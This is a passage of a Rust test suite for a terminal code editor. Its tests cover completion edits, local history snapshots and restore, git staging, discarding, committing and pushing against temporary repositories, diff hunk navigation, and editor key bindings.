    assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (1, 6));
    // No text edit: the prefix path takes over.
    assert!(!app.accept_completion_edit(&crate::lsp::CompletionItem::default()));
    // A range past the caret replaces the suffix it covers.
    app.editor.lines = vec![String::from("fooBar")];
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 3;
    let item = crate::lsp::CompletionItem {
        label: String::from("baz"),
        text_edit: Some(TextSpanEdit {
            start: (0, 0),
            end: (0, 6),
            new_text: String::from("baz"),
            utf16: true,
        }),
        ..Default::default()
    };
    assert!(app.accept_completion_edit(&item));
    assert_eq!(app.editor.lines, vec![String::from("baz")]);
    // A snippet takes the same range and imports, and still expands: the
    // `.` its range covers goes, and the caret sits on the first tab stop.
    app.editor.lines = vec![String::from("a.f")];
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 3;
    let item = crate::lsp::CompletionItem {
        label: String::from("foo"),
        is_snippet: true,
        text_edit: Some(TextSpanEdit {
            start: (0, 1),
            end: (0, 3),
            new_text: String::from("?.foo(${1:x})$0"),
            utf16: true,
        }),
        additional_edits: vec![TextSpanEdit {
            start: (0, 0),
            end: (0, 0),
            new_text: String::from("use x;\n"),
            utf16: true,
        }],
        ..Default::default()
    };
    assert!(app.accept_completion_edit(&item));
    assert_eq!(
        app.editor.lines,
        vec![String::from("use x;"), String::from("a?.foo(x)")]
    );
    assert_eq!(app.editor.cursor_row, 1);
    assert!(app.editor.snippet_active(), "tab stops are live");
}

/// Restoring a snapshot keeps the version it overwrites, even one never
/// snapshotted (an agent's write) or saved seconds ago (inside the merge
/// window, where the restore used to replace and delete it).
#[test]
fn restoring_a_snapshot_keeps_the_version_it_overwrites() {
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("a.rs");
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    let now = super::now_millis();
    crate::history::record_in(&app.history_root, &f, b"v1\n", now - 60_000).unwrap();
    // Saved a second ago, then rewritten by someone else, never snapshotted.
    crate::history::record_in(&app.history_root, &f, b"v2\n", now - 1_000).unwrap();
    std::fs::write(&f, "v3 by an agent\n").unwrap();
    app.history_restore = Some((f.clone(), now - 60_000, b"v1\n".to_vec()));
    app.restore_history_snapshot();
    assert_eq!(std::fs::read(&f).unwrap(), b"v1\n");
    let held: Vec<Vec<u8>> = crate::history::entries_in(&app.history_root, &f)
        .iter()
        .map(|s| std::fs::read(&s.file).unwrap())
        .collect();
    assert!(held.contains(&b"v2\n".to_vec()), "{held:?}");
    assert!(held.contains(&b"v3 by an agent\n".to_vec()), "{held:?}");
}

#[test]
fn dispatching_fetch_records_a_line_in_the_git_output_log() {
    let tmp = make_committed_repo();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.dispatch_scm_action(crate::widgets::scm_menu::ScmAction::Fetch);
    wait_for_git_net(&mut app);
    assert!(
        app.git_output_log.iter().any(|l| l.contains("fetch")),
        "every dispatched git op must append to the git output log; saw {:?}",
        app.git_output_log,
    );
}

#[test]
fn unstage_source_control_entry_runs_git_reset_and_flips_kind_back_to_modified() {
    let tmp = make_committed_repo();
    std::fs::write(tmp.path().join("seed.txt"), b"changed\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let idx = {
        assert!(
            wait_for_changes(&mut app, |a| a
                .source_control
                .entries
                .iter()
                .any(
                    |e| e.path == "seed.txt" && e.kind == crate::git::ChangeKind::Modified
                )),
            "preconditions: seed.txt must appear as Modified"
        );
        app.source_control
            .entries
            .iter()
            .position(|e| e.path == "seed.txt")
            .unwrap()
    };
    app.stage_source_control_entry(idx);
    assert!(
        wait_for_changes(&mut app, |a| a
            .source_control
            .entries
            .iter()
            .any(
                |e| e.path == "seed.txt" && e.kind == crate::git::ChangeKind::StagedModified
            )),
        "preconditions: seed.txt must be staged before we can unstage it"
    );
    let staged_idx = app
        .source_control
        .entries
        .iter()
        .position(|e| e.path == "seed.txt" && e.kind == crate::git::ChangeKind::StagedModified)
        .unwrap();
    app.unstage_source_control_entry(staged_idx);
    assert!(
        wait_for_changes(&mut app, |a| a
            .source_control
            .entries
            .iter()
            .any(
                |e| e.path == "seed.txt" && e.kind == crate::git::ChangeKind::Modified
            )),
        "after unstage the file must read as Modified again; saw {:?}",
        app.source_control.entries,
    );
}

#[test]
fn request_discard_source_control_entry_only_opens_a_confirm_modal_without_touching_disk() {
    let tmp = make_committed_repo();
    std::fs::write(tmp.path().join("seed.txt"), b"changed\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| {
        a.source_control
            .entries
            .iter()
            .any(|e| e.path == "seed.txt")
    });
    let idx = app
        .source_control
        .entries
        .iter()
        .position(|e| e.path == "seed.txt")
        .unwrap();
    app.request_discard_source_control_entry(idx);
    assert!(
        app.pending_discard.is_some(),
        "Discard click must request user confirmation rather than discarding immediately"
    );
    assert_eq!(
        std::fs::read_to_string(tmp.path().join("seed.txt")).unwrap(),
        "changed\n",
        "request alone must not touch the working tree"
    );
}

#[test]
fn confirming_discard_for_modified_file_restores_head_content() {
    let tmp = make_committed_repo();
    std::fs::write(tmp.path().join("seed.txt"), b"changed\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| {
        a.source_control
            .entries
            .iter()
            .any(|e| e.path == "seed.txt")
    });
    let idx = app
        .source_control
        .entries
        .iter()
        .position(|e| e.path == "seed.txt")
        .unwrap();
    app.request_discard_source_control_entry(idx);
    app.confirm_pending_discard();
    assert!(
        app.pending_discard.is_none(),
        "modal must close after confirm"
    );
    assert_eq!(
        std::fs::read_to_string(tmp.path().join("seed.txt")).unwrap(),
        "seed\n",
        "discard must restore HEAD content of a Modified file"
    );
}

#[test]
fn confirming_discard_for_untracked_file_deletes_it_from_disk() {
    let tmp = make_committed_repo();
    let new_file = tmp.path().join("scratch.txt");
    std::fs::write(&new_file, b"untracked\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| {
        a.source_control
            .entries
            .iter()
            .any(|e| e.path == "scratch.txt" && e.kind == crate::git::ChangeKind::Untracked)
    });
    let idx = app
        .source_control
        .entries
        .iter()
        .position(|e| e.path == "scratch.txt")
        .unwrap();
    app.request_discard_source_control_entry(idx);
    assert!(matches!(
        app.pending_discard.as_ref(),
        Some(pd) if pd.untracked
    ));
    app.confirm_pending_discard();
    assert!(
        !new_file.exists(),
        "discard on an Untracked entry must delete the file from disk"
    );
}

#[test]
fn cancel_pending_discard_clears_modal_without_acting() {
    let tmp = make_committed_repo();
    std::fs::write(tmp.path().join("seed.txt"), b"changed\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| {
        a.source_control
            .entries
            .iter()
            .any(|e| e.path == "seed.txt")
    });
    let idx = app
        .source_control
        .entries
        .iter()
        .position(|e| e.path == "seed.txt")
        .unwrap();
    app.request_discard_source_control_entry(idx);
    app.cancel_pending_discard();
    assert!(app.pending_discard.is_none());
    assert_eq!(
        std::fs::read_to_string(tmp.path().join("seed.txt")).unwrap(),
        "changed\n",
        "cancel must NOT touch the working tree"
    );
}

#[test]
fn clicking_the_stage_icon_on_a_selected_unstaged_row_stages_that_entry() {
    let tmp = make_committed_repo();
    std::fs::write(tmp.path().join("seed.txt"), b"changed\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| {
        a.source_control
            .entries
            .iter()
            .any(|e| e.path == "seed.txt")
    });
    app.set_sidebar_view(SidebarView::SourceControl);
    let backend = ratatui::backend::TestBackend::new(80, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let idx = app
        .source_control
        .entries
        .iter()
        .position(|e| e.path == "seed.txt")
        .unwrap();
    app.source_control.selected_change = Some(idx);
    term.draw(|f| app.render(f)).unwrap();
    let actions = app
        .source_control
        .last_row_actions
        .expect("selected unstaged row must expose action rects");
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: actions.stage.x,
        row: actions.stage.y,
        modifiers: KeyModifiers::NONE,
    });
    assert!(
        wait_for_changes(&mut app, |a| a
            .source_control
            .entries
            .iter()
            .any(
                |e| e.path == "seed.txt" && e.kind == crate::git::ChangeKind::StagedModified
            )),
        "clicking the stage cell must run `git add` against that entry"
    );
}

#[test]
fn clicking_the_discard_icon_on_a_selected_unstaged_row_opens_the_confirm_modal() {
    let tmp = make_committed_repo();
    std::fs::write(tmp.path().join("seed.txt"), b"changed\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| {
        a.source_control
            .entries
            .iter()
            .any(|e| e.path == "seed.txt")
    });
    app.set_sidebar_view(SidebarView::SourceControl);
    let backend = ratatui::backend::TestBackend::new(80, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let idx = app
        .source_control
        .entries
        .iter()
        .position(|e| e.path == "seed.txt")
        .unwrap();
    app.source_control.selected_change = Some(idx);
    term.draw(|f| app.render(f)).unwrap();
    let actions = app
        .source_control
        .last_row_actions
        .expect("selected unstaged row must expose action rects");
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: actions.discard.x,
        row: actions.discard.y,
        modifiers: KeyModifiers::NONE,
    });
    assert!(
        app.pending_discard.is_some(),
        "discard click must arm the confirm modal (NEVER discard silently)"
    );
    assert_eq!(
        std::fs::read_to_string(tmp.path().join("seed.txt")).unwrap(),
        "changed\n",
        "discard click alone must NOT touch the working tree until the user confirms"
    );
}

#[test]
fn cmd_a_in_source_control_pane_selects_every_change_row() {
    let tmp = make_committed_repo();
    std::fs::write(tmp.path().join("seed.txt"), b"changed\n").unwrap();
    std::fs::write(tmp.path().join("scratch.txt"), b"new\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| a.source_control.entries.len() >= 2);
    app.set_sidebar_view(SidebarView::SourceControl);
    let n = app.source_control.entries.len();
    app.handle_source_control_key(key(KeyCode::Char('a'), KeyModifiers::SUPER));
    assert_eq!(
        app.source_control.multi_selection.len(),
        n,
        "Cmd+A in SC must populate multi_selection with every entry"
    );
}

#[test]
fn cmd_s_through_handle_key_dispatches_to_source_control_not_to_editor_save() {
    // Regression for the user's "Cmd+S didn't react" report: the
    // global `is_save_key` intercept used to fire BEFORE the SC
    // handler, so Cmd+S called `App::save` (a no-op when no editor
    // file was open) and the user's selected change never moved to
    // the index. Route through `handle_key` (not `handle_source_control_key`)
    // to exercise the full dispatcher.
    let tmp = make_committed_repo();
    std::fs::write(tmp.path().join("seed.txt"), b"changed\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| {
        a.source_control
            .entries
            .iter()
            .any(|e| e.path == "seed.txt")
    });
    app.set_sidebar_view(SidebarView::SourceControl);
    app.source_control.select_all_changes();
    app.handle_key(key(KeyCode::Char('s'), KeyModifiers::SUPER))
        .unwrap();
    assert!(
        wait_for_changes(&mut app, |a| a
            .source_control
            .entries
            .iter()
            .any(
                |e| e.path == "seed.txt" && e.kind.section() == crate::git::ChangeSection::Staged
            )),
        "Cmd+S routed through handle_key must reach the SC stage handler, not the global save key intercept"
    );
}

#[test]
fn staging_a_filename_with_a_space_works_after_porcelain_dequoting() {
    // Regression for "fatal: pathspec '\"linked_list copy.py\"' did
    // not match any files": porcelain output wraps filenames with
    // spaces in double quotes, and we used to feed those quotes
    // straight into `git add`. The parser now dequotes; the staging
    // path must end at the real filename.
    let tmp = make_committed_repo();
    std::fs::write(tmp.path().join("linked_list copy.py"), b"x\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| {
        a.source_control
            .entries
            .iter()
            .any(|e| e.path == "linked_list copy.py")
    });
    assert!(
        !app.source_control
            .entries
            .iter()
            .any(|e| e.path.starts_with('"') || e.path.ends_with('"')),
        "no entry's path may still carry the porcelain quoting wrapper"
    );
    let idx = app
        .source_control
        .entries
        .iter()
        .position(|e| e.path == "linked_list copy.py")
        .unwrap();
    app.stage_source_control_entry(idx);
    assert!(
        wait_for_changes(&mut app, |a| a
            .source_control
            .entries
            .iter()
            .any(|e| e.path == "linked_list copy.py"
                && e.kind.section() == crate::git::ChangeSection::Staged)),
        "Staging a file whose name contains a space must succeed; saw status={:?}",
        app.status,
    );
}

#[test]
fn cmd_s_in_source_control_pane_stages_every_multi_selected_entry() {
    let tmp = make_committed_repo();
    std::fs::write(tmp.path().join("seed.txt"), b"changed\n").unwrap();
    std::fs::write(tmp.path().join("scratch.txt"), b"new\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| a.source_control.entries.len() >= 2);
    app.set_sidebar_view(SidebarView::SourceControl);
    app.source_control.select_all_changes();
    app.handle_source_control_key(key(KeyCode::Char('s'), KeyModifiers::SUPER));
    assert!(
        wait_for_changes(&mut app, |a| {
            let kinds: Vec<_> = a
                .source_control
                .entries
                .iter()
                .map(|e| e.kind.section())
                .collect();
            !kinds.is_empty()
                && kinds
                    .iter()
                    .all(|s| *s == crate::git::ChangeSection::Staged)
        }),
        "Cmd+S with multi-selection must stage every selected entry; saw {:?}",
        app.source_control.entries,
    );
}

#[test]
fn cmd_s_with_single_selection_stages_only_that_entry() {
    let tmp = make_committed_repo();
    std::fs::write(tmp.path().join("seed.txt"), b"changed\n").unwrap();
    std::fs::write(tmp.path().join("scratch.txt"), b"new\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| a.source_control.entries.len() >= 2);
    app.set_sidebar_view(SidebarView::SourceControl);
    let scratch_idx = app
        .source_control
        .entries
        .iter()
        .position(|e| e.path == "scratch.txt")
        .unwrap();
    // Single click resets multi_selection to just this row.
    app.source_control.multi_selection.clear();
    app.source_control.multi_selection.insert(scratch_idx);
    app.source_control.selected_change = Some(scratch_idx);
    app.handle_source_control_key(key(KeyCode::Char('s'), KeyModifiers::SUPER));
    assert!(
        wait_for_changes(&mut app, |a| a
            .source_control
            .entries
            .iter()
            .any(|e| e.path == "scratch.txt"
                && e.kind.section() == crate::git::ChangeSection::Staged)),
        "scratch.txt must have been staged"
    );
    assert!(
        app.source_control
            .entries
            .iter()
            .any(|e| e.path == "seed.txt" && e.kind == crate::git::ChangeKind::Modified),
        "seed.txt must remain unstaged (single-row stage scope)"
    );
}

#[test]
fn cmd_enter_in_source_control_falls_back_to_plain_commit_without_pushing() {
    // iTerm2 swallows Cmd+Enter as Toggle Fullscreen so the chord never
    // reaches croft. Terminals that DO deliver it should treat Cmd as
    // a no-op modifier — Enter alone commits, Ctrl+Enter pushes. The
    // SC handler's plain `KeyCode::Enter` match arm catches the
    // residual Cmd+Enter and calls `commit_source_control` (no push).
    let tmp = make_committed_repo();
    std::fs::write(tmp.path().join("seed.txt"), b"changed\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| {
        a.source_control
            .entries
            .iter()
            .any(|e| e.path == "seed.txt")
    });
    app.set_sidebar_view(SidebarView::SourceControl);
    app.source_control.message = "fix: plain cmd-enter".to_string();
    app.source_control.message_cursor = app.source_control.message.chars().count();
    app.handle_source_control_key(key(KeyCode::Enter, KeyModifiers::SUPER));
    let log = std::process::Command::new("git")
        .args(["-C"])
        .arg(tmp.path())
        .args(["log", "--oneline"])
        .output()
        .unwrap();
    let log_out = String::from_utf8_lossy(&log.stdout);
    assert!(
        log_out.contains("fix: plain cmd-enter"),
        "Cmd+Enter must still commit locally (push is bound to Ctrl+Enter only): log={log_out:?}"
    );
}

#[test]
fn ctrl_enter_in_source_control_commits_and_pushes() {
    let tmp = make_committed_repo();
    // Wire a bare remote and set it as origin so `git push` has
    // somewhere to send.
    let remote = tempfile::tempdir().unwrap();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(remote.path())
        .args(["init", "--bare", "-q", "-b", "main"])
        .status();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(tmp.path())
        .args(["remote", "add", "origin"])
        .arg(remote.path())
        .status();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(tmp.path())
        .args(["push", "-u", "origin", "main"])
        .status();
    // Make a tracked change and stage it so commit-all-tracked has
    // something to commit.
    std::fs::write(tmp.path().join("seed.txt"), b"changed\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| {
        a.source_control
            .entries
            .iter()
            .any(|e| e.path == "seed.txt")
    });
    app.set_sidebar_view(SidebarView::SourceControl);
    app.source_control.message = "fix: bump seed".to_string();
    app.source_control.message_cursor = app.source_control.message.chars().count();
    app.handle_source_control_key(key(KeyCode::Enter, KeyModifiers::CONTROL));
    // The push runs on a worker.
    wait_for_git_net(&mut app);
    // Verify the remote received the commit (its log now reports two
    // commits — the initial push + our new one).
    let log = std::process::Command::new("git")
        .args(["-C"])
        .arg(remote.path())
        .args(["log", "--oneline"])
        .output()
        .unwrap();
    let log_out = String::from_utf8_lossy(&log.stdout);
    assert!(
        log_out.lines().count() >= 2,
        "Cmd+Enter must have committed AND pushed (remote log: {log_out:?})"
    );
    assert!(
        log_out.contains("fix: bump seed"),
        "remote's log must include the new commit's subject"
    );
}

#[test]
fn opening_a_modified_file_diff_parks_scroll_on_the_first_change_hunk() {
    let tmp = make_committed_repo();
    let big = (0..50).map(|i| format!("line {i}\n")).collect::<String>();
    std::fs::write(tmp.path().join("seed.txt"), &big).unwrap();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(tmp.path())
        .args(["add", "seed.txt"])
        .status();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(tmp.path())
        .args(["commit", "-q", "-m", "big seed"])
        .status();
    // Now change a line deep in the file so the first hunk lives well
    // past row 0.
    let mut lines: Vec<String> = big.lines().map(str::to_string).collect();
    lines[30] = "edited-30".to_string();
    std::fs::write(tmp.path().join("seed.txt"), lines.join("\n") + "\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| {
        a.source_control
            .entries
            .iter()
            .any(|e| e.path == "seed.txt")
    });
    let idx = app
        .source_control
        .entries
        .iter()
        .position(|e| e.path == "seed.txt")
        .unwrap();
    app.open_source_control_entry(idx);
    let diff = app
        .editor
        .diff
        .as_ref()
        .expect("opening a Modified entry must build a diff");
    assert!(
        diff.scroll >= 25 && diff.scroll <= 30,
        "diff must auto-scroll near the change (row ~30, with 2-row context above); saw scroll={}",
        diff.scroll,
    );
}

#[test]
fn f7_in_the_diff_view_jumps_to_the_next_change_hunk() {
    let tmp = make_committed_repo();
    // Build a multi-hunk file: edits at lines 10 and 40.
    let original: String = (0..50).map(|i| format!("line {i}\n")).collect();
    std::fs::write(tmp.path().join("seed.txt"), &original).unwrap();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(tmp.path())
        .args(["add", "seed.txt"])
        .status();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(tmp.path())
        .args(["commit", "-q", "-m", "seed"])
        .status();
    let mut edited: Vec<String> = original.lines().map(str::to_string).collect();
    edited[10] = "edited-10".to_string();
    edited[40] = "edited-40".to_string();
    std::fs::write(tmp.path().join("seed.txt"), edited.join("\n") + "\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| {
        a.source_control
            .entries
            .iter()
            .any(|e| e.path == "seed.txt")
    });
    let idx = app
        .source_control
        .entries
        .iter()
        .position(|e| e.path == "seed.txt")
        .unwrap();
    app.open_source_control_entry(idx);
    let first_scroll = app.editor.diff.as_ref().unwrap().scroll;
    // F7 jumps to the next hunk.
    app.handle_editor_key(key(KeyCode::F(7), KeyModifiers::NONE));
    let next_scroll = app.editor.diff.as_ref().unwrap().scroll;
    assert!(
        next_scroll > first_scroll,
        "F7 must advance scroll past the current hunk (saw first={first_scroll}, next={next_scroll})"
    );
    // Shift+F7 walks back.
    app.handle_editor_key(key(KeyCode::F(7), KeyModifiers::SHIFT));
    let prev_scroll = app.editor.diff.as_ref().unwrap().scroll;
    assert!(
        prev_scroll < next_scroll,
        "Shift+F7 must walk back to the prior hunk (saw next={next_scroll}, prev={prev_scroll})"
    );
}

#[test]
fn forward_diff_jump_wraps_from_the_last_hunk_back_to_the_first() {
    // Regression: the › arrow / F7 used to stick on the last hunk when
    // that hunk lived in the bottom-clamped region of the diff. The cause
    // was that `render_diff` clamps `diff.scroll` to `max_scroll` and
    // writes it back, so the next forward jump re-derived an anchor BELOW
    // the last hunk and kept re-selecting it instead of wrapping. Backward
    // (‹) was unaffected because a too-low anchor still has earlier hunks
    // to step through. This test drives forward jumps with a render between
    // each (to trigger the clamp) and asserts the forward arrow eventually
    // wraps to the first hunk.
    let tmp = make_committed_repo();
    let original: String = (0..60).map(|i| format!("line {i}\n")).collect();
    std::fs::write(tmp.path().join("seed.txt"), &original).unwrap();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(tmp.path())
        .args(["add", "seed.txt"])
        .status();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(tmp.path())
        .args(["commit", "-q", "-m", "seed"])
        .status();
    // Two hunks: one near the top, one near the very bottom so the bottom
    // hunk falls inside the clamped viewport region.
    let mut edited: Vec<String> = original.lines().map(str::to_string).collect();
    edited[5] = "edited-5".to_string();
    edited[58] = "edited-58".to_string();
    std::fs::write(tmp.path().join("seed.txt"), edited.join("\n") + "\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    wait_for_changes(&mut app, |a| {
        a.source_control
            .entries
            .iter()
            .any(|e| e.path == "seed.txt")
    });
    let idx = app
        .source_control
        .entries
        .iter()
        .position(|e| e.path == "seed.txt")
        .unwrap();
    app.open_source_control_entry(idx);

    // A small viewport forces render_diff to clamp scroll at the bottom.
    let backend = ratatui::backend::TestBackend::new(120, 24);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let first_scroll = app.editor.diff.as_ref().unwrap().scroll;
    // Forward to the bottom hunk; render to trigger the clamp writeback.
    app.handle_editor_key(key(KeyCode::F(7), KeyModifiers::NONE));
    term.draw(|f| app.render(f)).unwrap();
    let bottom_scroll = app.editor.diff.as_ref().unwrap().scroll;
    assert!(
        bottom_scroll > first_scroll,
        "F7 must advance to the bottom hunk (first={first_scroll}, bottom={bottom_scroll})"
    );
    // Forward again from the last hunk MUST wrap back to the first, not
    // stick on the bottom hunk.
    app.handle_editor_key(key(KeyCode::F(7), KeyModifiers::NONE));
    term.draw(|f| app.render(f)).unwrap();
    let wrapped_scroll = app.editor.diff.as_ref().unwrap().scroll;
    assert_eq!(
        wrapped_scroll, first_scroll,
        "forward from the last hunk must wrap to the first (saw {wrapped_scroll}, expected {first_scroll})"
    );
}

#[test]
fn focused_source_control_input_drives_a_visible_caret_at_the_message_cursor() {
    // Regression for the user's "I don't see the caret blinking in the
    // Source Control message box, so I have no clue where it is at any
    // point in time" report. After focusing the SC panel in a real
    // repo, `cursor_should_be_visible()` must report true and the
    // caret cell must point inside the rendered input box.
    let tmp = tempfile::tempdir().unwrap();
    let _ = std::process::Command::new("git")
        .args(["-C"])
        .arg(tmp.path())
        .args(["init", "-q", "-b", "main"])
        .output();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(15);
    while std::time::Instant::now() < deadline {
        app.drain_git_responses();
        if app.source_control.status.in_repo {
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    assert!(
        app.source_control.status.in_repo,
        "preconditions: tempdir must register as a git repo"
    );

    app.set_sidebar_view(SidebarView::SourceControl);
    let backend = ratatui::backend::TestBackend::new(80, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    app.handle_source_control_key(key(KeyCode::Char('f'), KeyModifiers::NONE));
    app.handle_source_control_key(key(KeyCode::Char('i'), KeyModifiers::NONE));
    app.handle_source_control_key(key(KeyCode::Char('x'), KeyModifiers::NONE));
    term.draw(|f| app.render(f)).unwrap();

    assert!(
        app.cursor_should_be_visible(),
        "caret must be visible when the Source Control panel owns focus and the input is laid out"
    );
    let (cx, cy) = app
        .source_control
        .cursor_screen_pos()
        .expect("focused SC panel must expose a caret cell");
    let r = app.source_control.last_input_area;
    assert!(
        cx >= r.x + 2 && cx < r.x + r.width - 1 && cy == r.y + 1,
        "caret cell ({cx},{cy}) must sit inside the input's text row (input rect {r:?})"
    );
    assert_eq!(
        cx,
        r.x + 2 + 3,
        "caret must advance one cell per typed char (3 chars typed → +3 cells past the first text cell)"
    );
}

#[test]
fn editor_shift_alt_down_duplicates_the_current_line_via_handle_key() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.lines = vec![String::from("alpha"), String::from("beta")];
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 3;
    app.handle_key(key(KeyCode::Down, KeyModifiers::ALT | KeyModifiers::SHIFT))
        .unwrap();
    assert_eq!(app.editor.lines, vec!["alpha", "alpha", "beta"]);
    assert_eq!(
        (app.editor.cursor_row, app.editor.cursor_col),
        (1, 3),
        "cursor must follow onto the duplicated line"
    );
}

#[test]
fn editor_shift_alt_up_duplicates_the_current_line_via_handle_key() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.lines = vec![String::from("alpha"), String::from("beta")];
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 2;
    app.handle_key(key(KeyCode::Up, KeyModifiers::ALT | KeyModifiers::SHIFT))
        .unwrap();
    assert_eq!(app.editor.lines, vec!["alpha", "beta", "beta"]);
    assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (1, 2));
}

#[test]
fn editor_alt_right_jumps_one_word_forward() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.lines = vec![String::from("hello world rest")];
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 0;
    app.handle_key(key(KeyCode::Right, KeyModifiers::ALT))
        .unwrap();
    assert_eq!(app.editor.cursor_col, 5);
    app.handle_key(key(KeyCode::Right, KeyModifiers::ALT))
        .unwrap();
    assert_eq!(app.editor.cursor_col, 11);
}

fn editor_app_with_lines(lines: &[&str]) -> App {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.lines = lines.iter().map(|s| (*s).to_string()).collect();
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 0;
    app
}

/// Wait for the provenance sidecar the save records after its snapshot
/// (#349); it lands on the same thread, strictly after the snapshot.
fn wait_for_seats(root: &std::path::Path, f: &std::path::Path, millis: u64) {
    crate::test_budget::await_spawned(
        std::time::Duration::from_millis(500),
        "the provenance sidecar",
        || crate::history::seats_for(root, f, millis).is_some(),
    );
}

/// History recording runs off-thread; poll until the store has entries (or a
/// deadline passes and the caller's assert reports the miss).
fn wait_for_snapshots(
    root: &std::path::Path,
    f: &std::path::Path,
) -> Vec<crate::history::Snapshot> {
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    loop {
        let snaps = crate::history::entries_in(root, f);
        if !snaps.is_empty() || std::time::Instant::now() > deadline {
            return snaps;
        }
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
}

#[test]
fn saving_records_a_local_history_snapshot_that_diffs_and_restores() {
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    std::fs::write(&f, "v1\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    app.focus_pane(Pane::Editor);

    // Type and save: the save hook records a snapshot of the on-disk bytes
    // (off-thread, so poll for it).
    app.handle_key(key(KeyCode::Char('X'), KeyModifiers::NONE))
        .unwrap();
    app.save();
    let saved = std::fs::read_to_string(&f).unwrap();
    let snaps = wait_for_snapshots(&app.history_root, &f);
    assert_eq!(snaps.len(), 1, "a save must record one snapshot");
    assert_eq!(
        std::fs::read_to_string(&snaps[0].file).unwrap(),
        saved,
        "the snapshot holds exactly what hit the disk"
    );

    // Clicking the snapshot row opens a diff of snapshot vs working file and
    // arms restore.
    let hash = format!("local:{}", snaps[0].millis);
    app.open_timeline_diff(f.clone(), hash);
    assert!(
        app.editor.diff.is_some(),
        "a local snapshot row opens a diff view"
    );
    assert!(app.history_restore.is_some(), "restore is armed");

    // Corrupt the file, then restore the snapshot back over it.
    std::fs::write(&f, "clobbered\n").unwrap();
    app.restore_history_snapshot();
    assert_eq!(
        std::fs::read_to_string(&f).unwrap(),
        saved,
        "restore writes the snapshot contents back to disk"
    );
}

/// The agent review diff must not leave another file's "Restore Snapshot"
/// armed (#345): it opens a snapshot diff like the TIMELINE does, so it
/// owes the same disarm, or restore silently overwrites a file the user is
/// not looking at.
#[test]
fn the_review_diff_disarms_another_files_restore() {
    let tmp = tempfile::tempdir().unwrap();
